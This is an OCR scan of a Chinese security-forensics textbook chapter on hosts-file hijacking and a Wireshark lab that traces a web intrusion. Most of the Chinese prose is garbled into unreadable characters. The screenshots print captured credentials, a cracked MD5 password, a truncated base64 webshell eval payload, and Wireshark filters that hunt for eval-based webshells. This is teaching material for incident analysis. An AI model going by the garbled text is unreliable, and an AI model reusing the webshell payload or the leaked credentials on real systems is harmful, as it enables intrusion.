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SrBTRNE 5 L JF DL VR Sy i B4l (5 A T 46 IBCTIE 2 4T o 1) 45 A R 1Y) a0 S AN W] e 11y
BoAR o AEIE 209 A 2% D ) K B R R L B 2 VR B I 4% A R
AR FALIRAT S . 4 BOIE R AR L G0 T A 2 (8 A [R] 9 0 466 JBCIE T H ke PO L 3g g
50 A7 19 265 2 01 L e B2 4 Tl sl R b T) L= Y R DR AS 3 e AR O S 3 3 352 2 X 1Y
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5.1 M uqiz 32 ik #E B &

5.1.1 WifEHAIN . Hosts X

Hosts & —MRAY BA M R G, 7 DU F AR S T HATI, AR a2 — 25
FH B 041k 355 4% 55 K0 10 04 TP bkl 57— A SCIE R 227, >4 1T 78 0 B8 2% rh i A — > 22
B PAE , RG2S E G H 3 Hosts SO SR B A TP Mkl , — B3], &Gt 2x 57 B
FTHF X 02 9 T, 2 SR A $R 3 ) 28 G 25 Ff il 42 22 31 DNS 38044 filé b7 ik 55 #3847 TP b ik
PIFEANT . WAL UL Hosts BRI B L5002 = T DNS A IR 554519 .

1E Windows 10 24 T, iZ X 76 C: \ WINDOWS\ System32\ drivers\ etc H 5% H,
Hosts SCAFBIAEF . OInPRBR 44 g Ay . X7 T2 2% U7 0] 9 )l , 3 AT AT LU i 76 Hosts
Be B B2 TP A BR OC R PR S A AT BB . B T A TG OGRS IR AT A B4 1A
HLES BEBEAR DA BT 3 1P, 1 A I SR M 4% 1 /) DNS 34 IR 55 2% . @7 RN A P . AE TR
— AR L, @57 Hosts B TP B, o] DUAS FH T s A 1P, T 2 1 4 4 A 3k 24 B nl gk
TUsin) . QBRI . X F A7 2 J sl AT ARV [A) 5 802 A shsf i, o LA Hosts 48
2 I 3k B 34 e 5 B R 1 TP BAR H TS ALAY TP, X AR AN U5 T . fF WINDOWS %
Gih 295 127.0.0. 1 AARHLTHENLA TP Hbhk,0. 0. 0. 0 EHF1R M 1P Hihk .,

5.1.2 B HMN S &

1. LWHEM
T 3k AR S5 B R T A 0 3t s R R A ] E B — A B R DG B D TR A R AR AR
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Hosts SCHFAG A | % i B B 45 92 905 R vh R 0l 0 o i A B 9 & PR A
2. EWEMH
AR S 55 Jfr i S 4 RCE R B AR 541 TR
x51 MERIEREEESKE

¢
' F = g & % = Py "
! HUIE T A 3 18 Windows XP DA I
St e S AR A
’ 5 % 5415 HL (oCam)) 14 500. 0 Zx T
3 MDS5. exe 14 % (o 1

5.1.3 S

BB BTSRRI L B T IR SR AL L 10 SR e SR UE A [ E B T A AR R
HEBE 2. FTIF C: \WINDOWS\ System32\drivers\etc H % T i) Hosts X, ¥ & 1A
H s Wk % A 78 LA TP M, an il 5-1 Fias .,

« v » HEREE It 05 (C:) » Windows > System32 » drivers » etc v I ¥] 2 etc PEE
=5 - #HEm = Ko
& BEsE
|1 hosts 2019/12/7 17:12 i 1k8|
[% OneDrive 11 lanhnete cam INBMAIT ATA2 Can ik A KR
oo ([T ] -
D REE W0 ESY WDH
o giraba # Copyright (c) 1993-2009 Microsoft Corp. A
& WrsHEiS #
Do # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
[ L ¥ o _ _
= @ # This file contains the mappings of IP addresses to host names. Each
B s # entry should be kept on an individual line. The IP address should
) # be placed in the first column followed by the corresponding host name.
$ = # The IP address and the host name should be separated by at least one
b &% # space.
| F 5] #
e 05(C) # Additionally, comments (such as these) may be inserted on individual
= DATA (D9 # lines or following the machine name denoted by a '#' symbol.
#
b RS # For example:
#
#  102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# 1 localhost v
54ME &R 1408 B8R 100% Windows (CRLF)  UTF-8 _5;

& 5-1 Hosts X

LR 3. AEME AL PO AR MG EREEAGE EER AR MG EHRES
DNS % B (DNS i} 55 R 114 04 AR 4% 2% K 5-2 Fis .

A A Win+R”, A “emd” # A DOS @445 % 0. % A “ipconfig/
flushdns” i 4>, ¥ [0l ZE 58, 15 BR A b DNS 2247, an %1 5-3 i .

R 5. kS AE DOS A48 P A “tracert” A, K AT H AR W 0 PR H R BE BR AR
HAK N . “tracert -w 500 -h 20 HAERMEE”, A 5-4 iR .



6% WEBUESL
FEEEEEEE x
PSR EER(D):

Etx =1
ERSTEN DNS B8
fEk Realtek PCle GbE Family Controller
nRithhl DO-C
E/2A DHCP g
IPv4 iahib 172.1
IPva FHiEEs 255.255.255.0
BHSHLnaETE 2022878218 16:25:17
B2 ERasatiEa 20225E85 208 4:25:22
IPva BRIAFIE 172.17.121.254
IPvd DHCP B8 172.17.121.254
IPvd DNS BEE8 172.17.200.129

172.17.200.127

114.114.114.114
IPvd WINS BSE
EVER NetBIOS over Te... &
HEERE- D 1Pv6 dtiit feB0::D0s
IPvE BRIARISE
IPv6 DNS BB&E=

IF BB
Rl DN
F5-2 MZEETEAE S 5-3 T BRA ML DNS 22 47

A5 1A FAR 9 B9 9 22 05

EF

B 5-4 %l BREE B br 0

AR 6. FTIF VA U BRI N 2R BT D s il %L Wi 5-5 B
LR T T E R EE L (http: //www. ntsc. ac. en/) A HEAHLES ], Q0] 5-6 FrR .
ABE 8. Pilnl TAS#“ICP/IP Motk /3R 4% (5 B & R4 P R 407 M i (beian. miit. gov. cn) ,

B A 5-7 fros . R WA RS AN ZI www”,

195



196, &5 7 %4 B ST

AR AE
BE =R

EEFEE AR .
Filini e

1,687 RS

TEiCR

290 MAE

Cookie R EfbRIEEEE

RHE 890

EEMERIS
200 MB

EEARGEREE
11ER (AT 172.17.205.12)

- EEEESE -

-
(< I < N < R < B <.

Bl HMEEE

K 5-5 T BRI BT AR I sl R

P 5-6 [ G452 I o A o e i)

s 2 & B8 B % K

ICP/IPHEL /e B B R BB R S

=1 ICPRERIE ElEHnS kRS i HF R i 2L

ICPRREF ISR
ICPEBATEIES: FEICPEDI073S N EE 2022-03-11
EHMOER: ACFaERAEaRLE E=ul fincs-H ek
ICPEZMILER
ICPEEAFIES: WICPE0301732-1 PRt baidu.com
R

K 5-7 BHisMuifEEE
PR 9. TR YT AR R U ] H AR R R 0T SE AR A B A P 44 R R SR Il L B
FUG &SR E s A KSR 0 R SR A s AR 2 R B R A R E
T If 5T R ARA
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PR 10 Qn SR T L1 RE BRI AL R b AR DT T A R ) SO 4k B
AR 2 L ARl 5-8 IR
R @ DevTooks is now available in Chinese Don't &

e O]  Eements Sources  Network  Performance  Memory » @10 47 H) '
¥ cspas econd-modal-icon second-modal-mini-icon™3>_</spany il ‘

econd-modal-icon second-modal-theme-icon™s—</span>

¥ cspan
¥ cdiv cond-base-wrapper light dialeg™>
vedi second-base-left">

Bitcoin Miner ¥odiv classs"second-player-wrapper-placeholder dialog*s
¥ <div classe"second-player-wrapper™s

J_‘ "' " s="bkplayer bkplayer-status-has-start bkplayer-status-pause
Blockehain second-videc-player-2fb@5960-43a1-4c0f-al19-aBcF1fe69522- larkp
5.7/ vd3 bdstatic.com/nda-kkgropnlikosnhai/h|
i 7 Teda-kkgropnlikatohdl mod- [posters
“https rt/9f2fOTeB28381F30e92452837653500
B6e0618955uca-bicing-process,v_1,r_16,rh_9,maxl_640,pad_17x-bee-pro
cess=image/format,f_auto” prelosd="metadats” tabindexs"-1":3f7videos]

== f@

EiFERHL, BEREsttasiisn? R o
¥ediv classs"bkplayer-ui-wrapper=s

B e [ 2 ] B O ¥odiv class="bkplayer-ui">
<div class="bkplayer-ui-mask™></divs

mie Fediv class="vkplayer-control-bar®s_¢/divs

® cdiv class="bkplayer-loading™:.

video#second-video-player-2b0596d-43e1-4c0f-2115-a81 11269522

vy

A
-« s-has-start bkplayer-status-paused

K 5-8 P BUEACES R BT R
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B G TR A
AR 12 FEFTITHIARAE 00 Pl 00 A B 4 o 0B % R A7 B AR s S5 B T L AN ] 5-9

B
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BT
EREERRITRR
wEEEn..
B

=

> 10:04 7 24:55

B 5-9 K B RA7 21 A% b 4%
AUR 13 K A B RS T R R A3 S SR A fH L IR AE excel A% Tl sk A
SCHFRTEAAE D AL 45 IS A A
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SO R A (R
W15 RS,



198 &5 7 MR EGE STl

5.1.4  Ch/hgs

N WLIEAE I BT 2 5 5ot B v L ) 2 P 1 2 o B 325 D 90 4% 320 001 604 9 24 2
TR P R I AR S 6 P ELAS T S s TR O R L 60 4
L WIS B R R LS B R K TG TR B A SRR I IR
9 245320 TR 081 6 T A 0 BT M AL B AR T k. 2ot T AR RO R N WL BB 4 T
SET IR % 3 R I 1 AU AT A B o L (L 2T 4 A LA R e S BR T A L S 1]
P AR ) AT S BRI
TEAS S o v (5 8 T R0 L IS 2 AT 03 £ R 090 489 T LA B 492 4 59 e 2 9 F 48 s I
PEAS A AT A %35, T LS A7 blob BN U5 L BN TG bk 1 2 0 DO 10 7 I 4 52 , 7 S
0B A B AT MBS fE A O R AT B 0 T SE R A

5.2 MEHBBRDHT
5.2.1 B, #Eoab

) 2% AL R S T RE A0 1 42 I 4% A 15 45 A R 4% L T 7 AR A BOEE R R . O I R A AT ) R
JHER .

@ Bhd i & Gt Ar .

FEF A T B S o B 32 a5 el 2 AL 4 B2 T 0 LA R BOE L 1 T
BE . B UL B0 B B o 4 fk Bl pCap (packet capture), A 3= 57 T UCE M 20 A i
AR & O L i R AR

@ 4% i kL A3 HT

TE bit 2% b 6T W28 07 B 10 BOHE A 0 0 2% 2 A% 3l 38 Ak B AR AR 4 FE AR H R
FECW TP S A 2R 0 B2 EIR AL AR B R o 3 B AR Bk RN P L, DG
it B B I8 A AR L B 3k (] B B HL R SRR AE

I 4% i £ A3 B H R AT

@O RMON # A,

RMONGE W) J& 1 TETFE & ) — e 72 W = bR o, & XF SNMP ARifE 3, B
FE SCT bR UETBE LA K A W 4R RN I 4 i 22 R A 42 1T, S IR — A I B i A I 45 1 B8 T
TR

@ SNMP H A,

SNMP # AR H T RMON Fl RMON I, {8 X ™ % 15 £ v 1A 8% 4R U o 20 47 20 17 5 g
BRI A8 i 0 A g s s S i i s e T H (S B (B RRIR A - B 288 i m {5 2, B A
SRR PR UE SR — JHE TR R R

@ SEHHAL 5T

PR AL 2T 41 i D\ B0 )2 30 8 2 88 2 b o (B i 32 N E T U 4 A, AR T
Tt U7 1) GE T AR $ o AT L AN BE T8 A RS T) P G IR 20 1 10 B A AT A BT L TG TR R
KA R T R

@ FLOW #%K,

MHT FLOW 9 i AR EZAH PP, sFlow fil NetFlow,
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sFlow J& M1 InMon.,HP #1 Foundry Netfworks 7£ 2001 F G TF & 19 — B I 2% W5 45 4%
A B SR HIEE Ui BE LR AL HOR  a] DUSR At 58 B | £8 28 42 0 46 0 [N 19 O 15 . L R A 4 it
R 0 2% 37 i (AR T 10Gbps) BR458 F B U 5t 20 A1 o 1T B8 08 52 6] L 48 b 53 B 0 2% 4% i ik
R b B AR M R B S RIAEAE Y [R) N
NetFlow J& Cisco AR JF R MHAR B Bl & — Fh 28 4 FoR , SO2 — P i & 70 i £ R [7] ¢
AP R AR ER TR AR Z — . BRLAITEASE T TP Ui ik Ay B 8] b s A PR 7 1R] P
7 R,
Ui 12 43 BT S IO 24 S5 I IBCIIE 1Y) T L A T 0 B SR 4R S I B L O I 46 A2 I TR] L R 2%
AU AR S AT IR DI R A FE I B 0 AT RE A8 LS AR EE A AR N 48 b R AR B & R AT
A8 56 4 P A7 T il 2 Tl ad 7 v B L X DR A B9 JRUER BN R AT M 46 08 it T AR B

5.2.2 SEWSHMS &M

1. XBHEM

T ARSI S H AT DLVEAR DT A

(1) T fifk 190 28 K080 4, 43 BT B #F Wireshark (94 75 125

(2) H 32 I 48 B8040 Ot o0 A 1) — Ml ok R R 3 SR

(3) ZHIHEF: AR NMM G RERE ML THERABEEELET —/
web JIR 55 & WM 1 IS 6 WP I B B B 22 R i 00 % A8 SR T mail REGELKHLT vpn 1Y
g2 R FE ST vpn  FEN M pwn 358 T — S 4TEIHL, RIELBTT 5 L EM . 2T
10 JHAH .

@ 38 A RER TP Hihk 247

@ 7Hr A BREFIBGED web RS 4%, MK ethl (9 1P Hbht 2+ 47?

Q@ 4t A, BEARM BN S RE G R A?

@ it AL BEE S web J5 G S 247

© ZrHr AL PRI S N I R 0 14 %6 S B A A 47

© 431 AVBRE EAEH webshell X247

@ 53t A, BRE R BB S R A A7

® 4 B, K PR 4 R A5 S WA 2

@ 43#71 B, “dou_config” R H , “name” 51| IE & “tel "BI4TH , “value”(HE 147

@O 4387 B, BE B R T K-S jnu@test. com 15 2| Ay 215 42

2, RWEH

ARSI 5y i i 0 R AR T AN SR 5-2 TR

x52 WMEHERDTELEF

F =) 54 & # =i 5 #
1 BOIE T AE G 16 Windows XP A |
2 Wireshark {4 14 3.4.5
3 Wi A Al peap — —
4 Y B. peap — —
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5.2.3 R

ABE L oA S H i B A SR H Oy RE S, s W LB A
webshell %%,

AW 2. i Wireshark 8 {FFTFF AL AL pacp, B S Z AT H RS 00T, 7 0L F 2%
FRAEA . WVS fARis il ® BIABH T, S RO WA wys, acunetix_wvs _
security_test.acunetix,acunetix_wvs ¢ 7kt ; Nessus I 45 BRI E W T & nessus F
Ff; APPscan £135 #% BN 50 F & & APPscan FHE; MMt HH R - oS0 T
nsfocus.Rsas FHBE; sqlmap Fits KL BN F WS EAH sqlmap FHE,

YR 3. AF Wireshark Hisz B i 8450 a2 B A wvs 19 http, Q0 [& 5-10 iR, H AT LA
H B TP HbhE Sk 192, 168, 94. 59, Hﬁﬂ%?u web H&%%&Eﬁ P imkjy 192. 168. 32. 189,

-

o pca
TEE(E RELE BEEY B G WiTe (A it Bs Y
Am ;@ ERRQesagFigEaaan
!Ekg_t containg wre | B -+
Ko, Tins Saures Destinatios Pratazal Lamgth Tnfa "
3835 2915.247354  192.168.94.59 192.168.32.189 HTTP 338 GET /acunetix-wvs-test-for-some-inexistent-file HTTP/1.1
3840 2915.248082  192.168.32.189 192.168.94.59 HTTP 554 HTTP/1.1 424 Not Found (text/html)
4824 2928.997813  192.168.94.59 192.168.32.189 HTTP 385 GET http://wen.acunetix.wes HTTP/1.1
4854 2928.911843  192.168.94.59 192.168.32.189 HTTP 306 COMNECT whw.acunetix.wvs:443 HTTP/1.1
4210 2921.252020 192.168.94.59 192.168.32.189 HTTP 297 GET /index HTTP/1.1
- 4288 2921.273616 192.168.32.189 HTTP 299 GET Jdefault HTTP/1.1
i 1199 2931.611208 192.168.54.59 192.168.32.189 HTTP 665 GET /m/catalog.php est=javascript: utionSink(1,.
| 12028 2931.677116  192.168.94.59 192.168.32.189 HTTP 577 GET /m/theme/default/style.css HTTP/1.1
12045 2931.758433 192.168.94.59 192.168.32.189 HTTP 573 GET /m/theme/default/images/jquery min.js HTTP/1.1 v
€< >

K 5-10 g wvs”

WA BT web iS5 4% ethl (9 1P Mot , i 45 S48 R B 0T #5321 ethl (%) 1P Hudik
10.3.3.100, HAKFEN. B HEM REH. EBFER R TN F/HE7. E-REHA
“ethl”, ifﬁ“éﬁz”f%ﬂ EUT 52 ethl /) 1P Hudik, A&l 5-11 proR,

7347_ 6292.284212  192.168.32.189 54 88 - 13523 [ACK] Seq=1 Ack-245 Win-15744 Len-@
| 7347_ 6292.396758  192.168.32.189 192, 168 94 59 TcP 54 88 - 13523 [ACK] Seq=1 Ack=863 Win=17824 Len=@
7347_ 6292.4683527 192.168.32.189 192.168.94.59 TCe 1514 88 + 13523 [ACK] Seq=1 Ack=863 Win=17624 Len=146@

7347_ 6292.4083539  192.168.32.189 192.168.94.59 HTTP 249 HTTP/1.1 200 OK (text/html) —
7347_ 6292.403649 192.168.32.189 192.168.94.59 TCP 54 BB - 13523 [FIN, ACK] Seq=1656 Ack=863 Win=17824 L

7348_ 6295.556968 192.168.32.189 192.168.94.59 TCP: 54 88 + 13523 [ACK] Seq=1657 Ack=864 Win=17824 Len=@

~ o>leth®  Link encap:Ethernet HWaddr ©0:8C:29:CB:9F:85 \n ]
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0\n
inet6 addr: feB@::20c:29ff:fecb:9f85/64 Scope:link\n
UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1\n
RX packets:1599@38 errors:@ dropped:® overruns:@ frame:@\n
TX packets:2032856 errors:® dropped:@ overruns:8 carrier:@\n
collisions:@ txquevelen:106@ \n
RX bytes:476426339 (454.3 MiB) TX bytes:1841835478 (993.5 MiB)\n

Link encap:Ethernet HWaddr @8:8C:29:CB:9F:8F \n
inet addr:108.3.3.180 | Brast:18.3.3.255 Mask:255.255.255.8\n

ineth addr: feB@::28c:29Ff:fech:9F8F/64 Scope:Link\n
UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1in i |

5-11 {872 ethl 1y IP M1kt

AW S, HATC L%F4E T BE 1P Muhk XA 8 H B9 5135 4% . 38 5 Wb 5 6 08 a6
login.admin % X85, H & %56 99% i 192 POST Jy k., AT T % 7 “http
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contains login and ip. addr==192. 168. 94. 59 and http. request. method= ="POST"”# 17
U, v LIS & 5t 5 6 & /admin/login. php, T E 5-12 iR,
— _ e — e

LD WEE EEY NG RO SR SHS mEY ERw IAD =0
AMze I=RB ResEFLSFEaqen
[R[Ettp contuina Yogin wnd ip. addr=i52 166.04.59 BHE -+

Frotocal Lesgth Infe .~

|Ha T -1
1
|
1
1
: 2.168.32 ad php /1 ] |
35913 3084.495393  192.168.94.59 192.168.32.189 HTTP 547 POST /admin/logl rec=login HTTP/1.1 (applica
35916 3064.495479  192.168.94.59 192.168.32.189 HTTP 549 POST /admin/login.php?rec=%24({%48print(mds(acuneti
36049 3004.612708  192.168.94.59 192.168.32.189 HTTP 465 POST /admin/login.php?rec=login HTTP/1.1 (applica
|, 36052 3004 615458 192.168.94.59 192.168.32.189 ___ HITP 544 POST /admin/loein.oho?rec-login HITP/1.1 (aoolica ¥

» Frame 35908: 527 bytes on wire (4216 bits), 527 bytes captured (4216 bits)

» Ethernet II, Src: Hangzhou_39:42:ed (bB:¥9:63:39:42:ed), Dst: VMware_cb:9¥:85 (88:0c:29:cb:9¥:85)
» Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189

» Transmission Control Protocol, Src Port: 3942, Dst Port: 88, Se

-

»

» Content-Length: 56\r\n

Content-Type: application/x-www-form-urlencoded\ri\n
Referer: http://192.168.32.189:88/\r\n

Cookie: PHPSESSID=5109gcuBr2Bo5ajli7tpt708h2; client=pcrin
Host: 192.168.32.189\r\n

Connection: Keep-alive\r\n

| Accept-Encoding: gzip,deflate\r\n
e Memm Baambs ManfllafE O (oo MT_ & e LMMIC AN Amalablahis E3T A1 IVUTML  1ike Casliad Chasmatfdl 0 9990 0 Cofand €37 Miata o)

#5-12 BFE6H

IR 6. B E G web 5 BT, @i U IR A5 R AT, R [ Y7 B

N

B AT DAHEI , 75x (8 PR > B8 A A7 A ] A, AT BB Bk ) . A& B AU AL N 2 B AT A5 1 4%
52 admin! @ # pass123, UK 5-13 iR,

M Apcap
Exmm FEE WNEY BHO HEO SRR #H9 \EY BEW IED ®HE
Amce IERB Re=2EF 85

Bttp contains Togin and ip. 166.94 59
Ko Time Source Destination Protocol Length Infe
7331. 5623.789125 192.168.32.189 192.168.94.59 HTTP 1198 HTTP/1.

192.168.94.59 HTTP 1198 HTTP/1.

192.168.32.1

7331.. 5623.801512
1. 5

7331 5 4. : 9 n] POST

7332. 5782.375854 192.168.94.59 192.168.32.18! HTTP 731 POST fadmin/login.php?rec=login HT ==

7332. 5702.397245 192.168.32.189 152.168.94.59 HTTP 1198 HTTP/1.1 200 OK (text/html) 1

7332.. 5702.421855 192.168.32.189 192.168.94.59 HTTP 59 HTTP/1.1 200 OK (text/html) — v
>

Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=08.9\r\n
> Cookie: PHPSESSID=am29gr8kthdfcgbaceefpggvid\rin
\rin
[Full request URL: http://192.168.32.189/admin/login.php2rec-login]
[HTTP request 1/1]
£ -
File Data: 72 bytes
~ HTML Form URL Encoded: application/x-www-form-urlencoded
> Form item: "user_name” = "admin"
> Form item: " d”
> Form item: “"submit™ =

B 5-13 MEE LN

BT, AT Wl K SN S R R Sk R Y. 38 X i A HE AT “htep.
request” €, 5 H 15 hr123456, WA 5-14 fiw .,
WS, BAEMREK AL webshell S0, UL LA 46fiE T )5 G165 & php, it

N
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B F ERBUE LI

‘imp. . L .- . - o N
mmmmm@mmwmmnw

¥o. Tine Source Destination Protocol Length Info -
27 28.821622 192.168.94.233 192.168.32.189 HTTP 496 GET /fadmin/index.php HTTP/1.1 .
37 28.881415 192.168.94.233 192.168.32.189 HTTP 546 GET /admin/login.php HTTP/1.1
51 33.883586 192.168.94.233 192.168.32.189 HTTP 481 GET / HTI'PJ'l 1
-|o- 86 54.823928 192.168.94.233 192.168.32.189 HTTP 753 POST /admin/login.php?rec=login HTTP/1
1 93 54.862890 192.168.94.233 192.168.32.189 HTTP 578 GET ,r‘sd-].llflndex php HTTP/1.1
149 124285011 192.168.94.233 192.168.32.189 HTTP 612 GET /admin /i .php?rec ger_log
165 127.620951 192.168.94.233 192.168.32.189 HTTP 563 GET /admin/system.php HTTP/1.1
181 127.802546 192.168.94.233 192.168.32.189 HTTP 444 GET /admin/images/jquery.tab.js HTTP/1
: 186 127.806303 192.168.94.233 192.168.32.189 HTTP 479 GET /admin/images/icon ves.ong H1TP!1’. v
Accept-Encoding: gzip, deflate\r\n L]

Accept-Language: zh-CN,zh;q=8.9\r\n
» Cockie: PHPSESSID=9c@akmacloop7t2itcss7dmvm2\rin
Ar\n

i

[HTTP request 1/1]
File Data: 72 bytes
~ HTML Form URL Encoded: application/x-www-form-urlencoded
» Form item: “user_name” = "A %~

> Form item: “password™ = “hrl123456
» Form item: “submit™ = “E}~

-
Kl 5-14 ANFEEBEREH
HZAR eval BB AT DL, B AR — 735 AR D AR Ceval BREO P850 08— 8088 42 Gip.
addr==192. 168. 94. 59 and http contains eval and http. request. method =="POST"),
733 a. php X, X a. php ST 40 B7 . 454 B BE & webshell SCHF, H & &R R
“/images/article”, WA 5-15 fi7N,

<

M Apcap - o x
D REE HEN RSG) SE0 SR sHe REY XHEw IAD B

He. Tiy Soarce Destination Protosel Lemgth Info ~
|- 7339.5936.657495  192.168.94.59 1192.168.32.189 HTTP 731 POST [fimages/article/a.php] HTTP/1.1 (
7339. 5939.485478  192.168.94.59 192.168.32.189 HTTP 795 POST /images/article/a.php HTTP/1.1 (
7339. 5941.344687 192.168.94.59 192.168.32.189 HTTP 795 POST /images/article/a.php HTTP/1.1 (
7340. 5982.587813  192.168.94.59 192.168.32.189 HTTP 453 POST /images/article/a.php HTTP/1.1 (
7340. 5992.826492  192.168.94.59 192.168.32.189 HTTP 779 POST /images/article/a.php HTTP/1.1 (
7348 5992.826499 192.168.94.59 192.168.32.189 HTTP 779 POST /fimages/article/a.php HTTP/1.1 (
7341 6084.768575 192.168.94.59 192.168.32.189 HTTP 761 POST /images/article/a.php HTTP/1.1 (
7341.. 6096.278327  192.168.94.59 192.168.32.189 HTTP 761 POST /images/article/a.php HTTP/1.1 (

" 7342.. 6032.454295  192.168.94.59 192.168.32.189 HTTP 731 POST /images/article/a.pho HTTP/1.1 ,( ¥

=
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; a=.2\r\n N

Connection: keep-alive\r\n

Content-type: application/x-www-form-urlencoded\rin
Content-Length: 677\r\n

\rin

[Eull request URL; http;//192.168,32.189/images/article/a.php]
[HTTP request 1/1]

w

~ HTML Form URL Encoded:
» Form item: "1234"

“action” = "QGluaV9zZXQoImRpc3BsYX1fIXIyb3)zIiwiMCIp0OBzIXRFdG1tIVIsaWlpdCgwkTtACZVEX21hZ21iX3F1b3R1c
~

<« >
K 5-15 ME &1 webshell 3C{F

IR 9. EE BB RBNWEIE R . A6 php Wl b, B8 B BC E ORI O config.
php.database. php % , i i 1o 1 Y& 0] DAAS 45 5, e (1) webshell SCH I 5 3352 HOEC 4

[Response in frame; 733934]
File Data: 677 bytes I

» Form item:




#5&  FLEUTF LY —203

T L FRATT AT LA AR B A RS 200 CECHE 7228 % g D)) #4731 38 (ip. addr= =192. 168.
32.189 and http. response. code==200) , M 1ii 15 2| B4 FE % 15 K ¢667;UPv];XHvEUv, 1l
& 5-16 Fi/s,

M npap - o x I
| XD WEE HEY BMHE SE0 S SHD BB TEW IRO RAH 4
amca l
He, Time Source Dastination Frotosol Langth Info ~
734516 6168.936174 192.168.32.189 192.168.94.59 HTTP 994 HTTP/1.1 200 0K (text/html)
734536 6171.628634  192.168.32.189 192.168.94.59 HTTP 255 HTTP/1.1 208 OK (text/html)
734562 6187.931169 192.168.32.189 192.168.94.59 HTTP 561 HTTP/1.1 200 0K (text/html)
734564 6187.932848 192.168.32.189 192.168.94.59 HTTP 561 HTTP/1.1 208 OK (text/html)
l i_?3458 £197.700518 192.168.32.189 192.168.94.59 HTTP 1341 HTTP/1.1 200 OK (text/html)
734640 6229.145898 192.168.32.189 192.168.94.59 HTTP 286 HTTP/1.1 200 OK (text/html)
734654 6232.652412 192.168.32.189 192.168.94.59 HTTP 452 HTTP/1.1 200 OK (text/html)
734670 6236.490167 192.168.32.189 192.168.94.59 HTTP 1862 HTTP/1.1 200 OK (text/html) (L}
734712 6263.587267 192.168.32.189 192.168.94.59 HTTP 469 HTTP/1.1 200 OK (text/html) 5 e
<
// database name\n A
$dbname = "web™;\n
\n
\n
// database username\n
$dbuser = "web™;\n
\n
// database password\n
Savpass :
\n
// table prefix\n
fprefix = “dou_";\n
i w
< - >

B 5-16  KUdm B w5 i

$B 10, i ] Wireshark B 4FT 77 7 8 0 B. pacp, i J€ mysql #h38, B AT 45 2 5098 2
WA S K 5.5, 49, ln& 5-17 FioR .
M Bpcap - o %

MO SEE WEY BHO WHO SO Y wEY W TAD ®B
AN 9 [IEREBRe2=FTiE =S aaam

)| =KL
Ho Tise Deztination Protocel Langth Info -
4 8.001376 10.3.3.100 MySQL 144 Server Greeting proto=18 version=5
6 B.001483 16.3.3.181 MySQL 149 Login Request user=web
8 9.001860 10.3.3.100 MySQL 77 Response 0K
9 @.e02011 19.3.3.101 MySQL 73 Request Set Option
1@ 0.002287 19.3.3.100 MySQL 75 Response
11 0.002399 10.3.3.101 MySQL 161 Request Query
12 @.882856 18.3.3.168 MySQL 77 Response 0K
13 0.002922 10.3.3.101 MySQL 86 Request Query J
e ’ - oo Ol 22 Lo 2.0 ser 5
» Frame 4: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) ol

» Ethernet II, Src: VMware_1d:96:01 (00:0c:29:1d:96:01), Dst: VMware_cb:9f:8f (00:8c:29:cb:9f:8f)
» Internet Protocol Version 4, Src: 10.3.3.101, Dst: 10.3.3.100
» Transmission Control Protocol, Src Port: 3306, Dst Port: 38975, Seq: 1, Ack: 1, Len: 78
~ MySQL Protocol
Packet Length: 74
Packet Number: @
~ Server Greeting

Protocol: 18

Version: 5.5.49

Thread ID: 48487
Salt: <3-$n"Vn
» Server Capabilities: @xf7ff w

B 5-17  R¥ ) A

AL RS tel, AIAT15 B 7E“dou_config” & H . “name” ¥ () {H J& 75 “ tel " MY 17
1, “value”{H ] 0596-888888, W&l 5-18 i/~ .




204 & 7 4R EGTE ST

M B.pcap - o X
C P SRE HENM KNG IO o) st BEy BSw TAD ®hH
AmzeIpRERes=FTiE s aaan

L Cor I E— N : W )+

ErE v OB#AIS @ s I C=5 ][ »a |
. He. Time Source Destination Protocol Lemgth Info _AF
37 8.061122 10.3.3.100 10.3.3.101 MySQL 86 Request Query |
' 38 e.e61310 1@.3.3.101 18.3.3.100 MySQL 77 Response OK
39 @.ecl48e 18.3.3.100 18.3.3.101 MySQL 74 Request Use Database
49 9.861627 10.3.3.101 18.3.3.108 MySQL 77 Response OK
41 9.861785 18.3.3.100 18.3.3.101 MySQL 126 Request Query
42 9.862034 10.3.3.101 10.3.3.10@ MySQL 185 Response
43 9.062224 16.3.3.100 16.3.3.101 MySQL 97 Request Query
44 0.862636 18.3.3.101 10.3.3.100 MySQL 2606 Response vl
< >
text: al
text: text
text:
text: main
text: 8 |
~ MySQL Protocol |
Packet Length: 3@
Packet Number: 17
text: tel
text: text
text: |

K 5-18  “tel” 47 19 “value” B
SWE12, LT WIE AT 38 tep contains "ijnu@ test. com" , 15 B E 5 B AL
b78{5aa6€1606{07def6e839121a22ec, WKl 5-19 ff7n . iZ{EH A MD5 {8, i %~ “edcl23! @ £ 7,

T e —— —
(RGO SHE WY WO WEO HFQ WK BEY FEW ITAD WRE
:luae IimRBRe=>=FsE S qaan

st com” I 'C] v+
Iﬁﬂ‘"ﬂ v [m= vIOEskds  [zae v [ [ | A |
e, _ Time Source Destination Frotocol Length Infe
] E EBH.MM 10.3.3.101 10.3.3.100 MySQL 1516 Response
3594 933.244203 1e.3.3.101 10.3.3.100 MySQL 1516 Response
114516 2987.209786 10.3.3.101 10.3.3.100 MySQL 1516 Response
< >
text: @ ~

text:

~ MySQL Protocol
Packet Length: 88
Packet Number: 19
text: 19
text: INNNNNNER
text: ijnu@test.com
text: b78f5aabelb@6TB7defbe839121a22ec
text: ADMIN
text: 1538779719
text: @

Bl 5-19 K5 %0

AR S PR S A T R A AR Ll x H R oA R BE A vpn TR
vpn R 55 % . U&ﬁlﬂi%ﬁﬁﬁﬂﬁﬂ]ﬁﬁ%fnu,,._.\/\@E’JI;&%ATU\MLEE# Ao Hr.

5.2.4  SeB/has

XA 2% JRCTIE T 5 o ) IR 2% 3 B 1 B, 15 0 4% K4 O ot A éﬁzﬁ@mm‘“'ﬁé}m ) 25 B4 455
BYAH M5 B FEEAKEE OSSIM RGP Y IDS b A7 3R, 13X — &R 30 /) T2 AT 2L Ok ik 17 ™)



#58  RLBGEI —209

